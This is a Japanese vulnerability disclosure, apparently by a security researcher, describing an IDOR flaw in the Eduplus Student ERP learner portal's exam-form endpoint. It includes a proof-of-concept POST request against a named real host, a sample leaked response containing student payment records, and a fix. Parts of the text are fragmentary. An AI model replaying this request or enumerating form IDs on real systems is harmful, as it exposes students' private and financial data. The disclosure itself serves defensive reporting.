研究者: Vinay Sharma
本レポートは、Eduplus Student ERP プラットフォーム、特に学生学習者ポータル (learnerapi.pceterp.in) において特定された高深刻度のセキュリティ脆弱性について詳述するものです。本アプリケーションは、試験フォーム提出エンドポイントに普遍的な安全でない直接オブジェクト参照 (IDOR) の脆弱性を抱えており、認証された任意のユーザー (学生) がフォーム識別子を操作することで、他の任意の学生の機密の個人情報および財務データを取得することが可能です。
この脆弱性により、個人を特定できる情報 (PII) や詳細な財務取引監査証跡を含む学生記録の大規模なデータ収集が可能になります。
learnerapi.pceterp.in、learner.zealerp.in、learner.despu.edu.in などPOST /ExamForm/viewSubmitExamFormCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N)この脆弱性は viewSubmitExamForm エンドポイントに存在します。サーバーは、取得するレコードを識別するためにクライアントが提供する2つのパラメータに依存しています。
{"formid": "XXXXX"}Router-Path: /view-pcu-exam-form/XXXXXformid に関連付けられたデータを閲覧する権限を持っているかどうかを検証できていません。数値 ID を順に試すことで、攻撃者は他の学生の記録にアクセスできます。変更した formid を使用した脆弱なエンドポイントへの標準的な POST リクエストにより、機密の学生データが取得されます。
リクエスト:
POST /ExamForm/viewSubmitExamForm HTTP/2
Host: learnerapi.pceterp.in
Content-Type: application/json
Router-Path: /view-pcu-exam-form/28984
... (認証済みヘッダー) ...
{"formid":"28984"}
レスポンス (漏洩データの概要):
{
"status": "200",
"examFormname": "B.Tech - Sem VI - Regular",
"receipt_no": "REC/2023/54321",
"feespaiddate": "2023-10-15",
"ispaymentdone": {
"username": "[email protected]",
"received_amount": "1500.0",
"updation_ip_address": "103.x.x.x",
"erp_transaction_id": "ERP_998877",
"bank_transaction_id": "BANK_ABC123",
"paymentgateway_transaction_id": "PG_XYZ789",
"learner": {
"id": "12345"
}
}
}
Idorpoc.mp4 をアップロード中…
この脆弱性の悪用に成功すると、以下が可能になります:
formid がアクティブなセッションに関連付けられた learnerid に属していることを検証する必要があります。認証されたセッショントークンに対して検証せずに formid または Router-Path パラメータを信頼してはなりません。